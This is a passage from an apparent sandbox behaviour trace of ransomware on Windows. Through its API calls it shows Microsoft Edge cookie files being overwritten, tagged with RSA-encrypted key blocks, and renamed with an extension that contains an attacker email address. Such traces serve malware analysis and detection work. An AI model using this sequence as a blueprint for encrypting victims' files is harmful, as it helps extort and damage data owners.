nNumberOfBytesToRead=0x7f, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8b3d0*, lpNumberOfBytesRead=0x2e3f9b4*=0x7f, lpOverlapped=0x0) returned 1 [0299.915] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-127, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.915] WriteFile (in: hFile=0x1b90, lpBuffer=0x2f8adf8*, nNumberOfBytesToWrite=0x7f, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8adf8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x7f, lpOverlapped=0x0) returned 1 [0299.915] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x7f [0299.915] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0299.915] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0299.915] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0299.915] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0299.915] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0299.915] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="IW9NWUyDg9px2GbCrJmBIhK95sI3LF/HEUOgbal6DoQoCd13LcaWwMl6oGmJAAiV\n58hueOlhu/BNH99PlwwEpZ0dg9vQHCwjr323D9NK7VYX52EZ6yAindLH69rUPK0I\nNjjR7LiBi8nJoy3AyKlZkKqMTdeFDafx5emrhkXqaWeuDKsSM9a3IQLd8xj8ErLh\n+9wJjYTWe4TovnOg/qndo9tTRCtuXhbDaWVNKhreci+omdRNp0Vl+s82akk6gxgh\nXIPf/f2Rdq0fLv5OdtE62fztWySpHAqGZ4c50V+qG5o+OSd7ksZo7MJYXL9AmGOa\nvEPyT6YZNuBk6b68Lwz8KQ==\n", pcchString=0x2e3f9a8) returned 1 [0299.915] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0299.915] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0299.915] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0299.916] CloseHandle (hObject=0x1b90) returned 1 [0299.916] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\MADUEVPF.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\maduevpf.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\MADUEVPF.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\maduevpf.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0299.918] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0299.918] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\LNYM3IIG.cookie", dwFileAttributes=0x80) returned 1 [0299.918] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\LNYM3IIG.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\lnym3iig.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0299.919] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=114) returned 1 [0299.919] ReadFile (in: hFile=0x1b90, lpBuffer=0x5a6080, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a6080*, lpNumberOfBytesRead=0x2e3f9b4*=0x72, lpOverlapped=0x0) returned 1 [0299.920] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-114, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.920] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a10c8*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a10c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x72, lpOverlapped=0x0) returned 1 [0299.920] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x72 [0299.920] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0299.920] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0299.920] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0299.920] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0299.920] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0299.920] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="xkAhsJVpHllZflusIGpoOBiQyj0lzorYXe58S6UqT8nAATR80lE+ddBZ4RYPqSFh\nRraD4psAOb9QonkBPowOVslRg3lfh6iLQHAcL+z/cBeiiRzumDwzI+A9hPQ+r27W\nfybk/SufERVvkp3t0qzuGcRQyP9mxdjWsYrHIT7KdCZj89O8s+LWFbBVXV0jU7jI\nai8Y7Ldq3AaqyhQXWxFCv/rHZPeOGRcZ8+Wi8WZLVXlTYXgBALN6cPAHg014a9PY\nyIXuSxoLJ5Up5Myt29TOhWyPuHZihSG+iBvTEuyJNtjA1l9jVRBXc8/hsUvEeAk2\njbgqpi6jUORT+tWdkSwlbg==\n", pcchString=0x2e3f9a8) returned 1 [0299.921] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0299.921] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0299.921] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0299.921] CloseHandle (hObject=0x1b90) returned 1 [0299.921] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\LNYM3IIG.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\lnym3iig.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\LNYM3IIG.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\lnym3iig.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0299.923] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0299.923] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\LA7BUP1E.txt", dwFileAttributes=0x80) returned 1 [0299.924] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\LA7BUP1E.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\la7bup1e.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0299.925] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=275) returned 1 [0299.925] ReadFile (in: hFile=0x1b90, lpBuffer=0x5c1ce8, nNumberOfBytesToRead=0x113, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesRead=0x2e3f9b4*=0x113, lpOverlapped=0x0) returned 1 [0299.926] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-275, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.926] WriteFile (in: hFile=0x1b90, lpBuffer=0x5bd3b8*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5bd3b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x113, lpOverlapped=0x0) returned 1 [0299.926] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x113 [0299.926] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0299.926] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0299.926] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0299.926] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0299.926] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0299.926] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="bBswm4j5S1qSrEFAOq7CMWMGQAAFO1qnM1H9hKPJ9FTSG/ERr30bEGWSgD2rJg7/\nxf4mB6JJxLOECNdRVbNaiWXd7a4bf1lyoi4GnX6aFrqBFnE2ZuxlLcNW/bfu/cdF\nQtHkr1OQrRYZBguC6gfsh2b7fKcaa8/3vPsRWtL3PRMvTQgSbiSg6QNUdlSyn1IG\n8q7nU28kxuF/MvblxppJDC0dmU+tXcLCNuqmbfv054pQQ+sN6BItyUaTHpv/QHer\n/2SGciyuL9yC2x62oMbiptNL8bx89gJCD2zC98RLHX48Z3nLQX6FOY1c2azbGO4k\n6r9BLeeh7aLbCFzgY2CqOA==\n", pcchString=0x2e3f9a8) returned 1 [0299.926] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0299.927] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0299.927] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0299.927] CloseHandle (hObject=0x1b90) returned 1 [0299.927] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\LA7BUP1E.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\la7bup1e.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\LA7BUP1E.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\la7bup1e.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0299.929] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0299.929] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\KFKOQYZF.cookie", dwFileAttributes=0x80) returned 1 [0299.930] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\KFKOQYZF.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\kfkoqyzf.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0299.930] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=137) returned 1 [0299.930] ReadFile (in: hFile=0x1b90, lpBuffer=0x65cb30, nNumberOfBytesToRead=0x89, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65cb30*, lpNumberOfBytesRead=0x2e3f9b4*=0x89, lpOverlapped=0x0) returned 1 [0299.931] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-137, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.931] WriteFile (in: hFile=0x1b90, lpBuffer=0x65d2e8*, nNumberOfBytesToWrite=0x89, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65d2e8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x89, lpOverlapped=0x0) returned 1 [0299.931] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x89 [0299.931] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0299.931] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0299.932] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0299.932] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0299.932] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0299.932] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="h1+CvamRY1XkcocmGRsK3jZRb46+D9OdkMkfaxA13jMYsOh+swZLszdKC87Bj2nU\n/RZ4FdIlbbyLkzi+WKfsEYNyVrT7FnJxnsxqwhI5Efde33prkNc2apgWOmXp0k+j\nkhK0m7j9BgmwkZeYRAP3tul2fFsOKM0DGWNCrFjsVunAmILWyGI152p7YaaOCotL\neqE+FHJOtkrncHpW2P3i1fL7tL551cY0Jp2nPELhwR/FOoP/08ZrekSbyJkmPz+3\nTlcFgFTaHJi1g5qkxqLt3XAUE5Jfgy61pjnLQR01hRSvnCLi0AWW1CtJhRekAjwN\nMv6nE6TyJYFN030hw1eopQ==\n", pcchString=0x2e3f9a8) returned 1 [0299.932] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0299.932] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0299.932] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0299.932] CloseHandle (hObject=0x1b90) returned 1 [0299.932] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\KFKOQYZF.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\kfkoqyzf.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\KFKOQYZF.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\kfkoqyzf.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0299.935] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0299.935] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\KEKFOROW.cookie", dwFileAttributes=0x80) returned 1 [0299.936] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\KEKFOROW.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\kekforow.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0299.936] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=148) returned 1 [0299.936] ReadFile (in: hFile=0x1b90, lpBuffer=0x57e1d0, nNumberOfBytesToRead=0x94, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57e1d0*, lpNumberOfBytesRead=0x2e3f9b4*=0x94, lpOverlapped=0x0) returned 1 [0299.937] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-148, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0299.937] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a9008*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a9008*, lpNumberOfBytesWritten=0x2e3f9b4*=0x94, lpOverlapped=0x0) returned 1 [0299.937] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x94 [0299.937] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0299.937] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0299.937] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0299.937] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0299.937] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0299.937] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="dKJCJuAPjrNJB8hHHNxO78i0O2VS4LDlXxhRMCGWMQyXqoKGo9X2VyxfzDK9cyNd\nsBthg8lSOq3RMoGwVre4/cLY5meCd9uBRU0uxxYijxMSv1+FLpYWwmSmALAkJaqg\n7oOBl+HaIWjBFPjt065URzxYeOvJq5jxPEQuQ/ei5XzBqmkWjG0e0KMMrz8UPme5\ntZWLDF0WtMv3fBWqCahH8QcSQknCn/dbw7H1qUutsXLrIdMq8j8DpMm1tUr04rF1\nuPTOhleZT251IJVV+d31GsvH/99wJLIa5Nvd8z05UYM3sZEp6kH/2uBbK/sdXVk4\n7N3rUvNkagO3To7px/ObIA==\n", pcchString=0x2e3f9a8) returned 1 [0299.938] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0299.938] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0299.938] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0299.938] CloseHandle (hObject=0x1b90) returned 1 [0299.938] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\KEKFOROW.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\kekforow.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\KEKFOROW.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\kekforow.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0299.940] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0299.940] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\K7RPYYP8.txt", dwFileAttributes=0x80) returned 1 [0299.940] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\K7RPYYP8.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\k7rpyyp8.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0299.941] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=554) returned 1 [0299.941] ReadFile (in: hFile=0x1b90, lpBuffer=0x57eca8, nNumberOfBytesToRead=0x22a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eca8*, 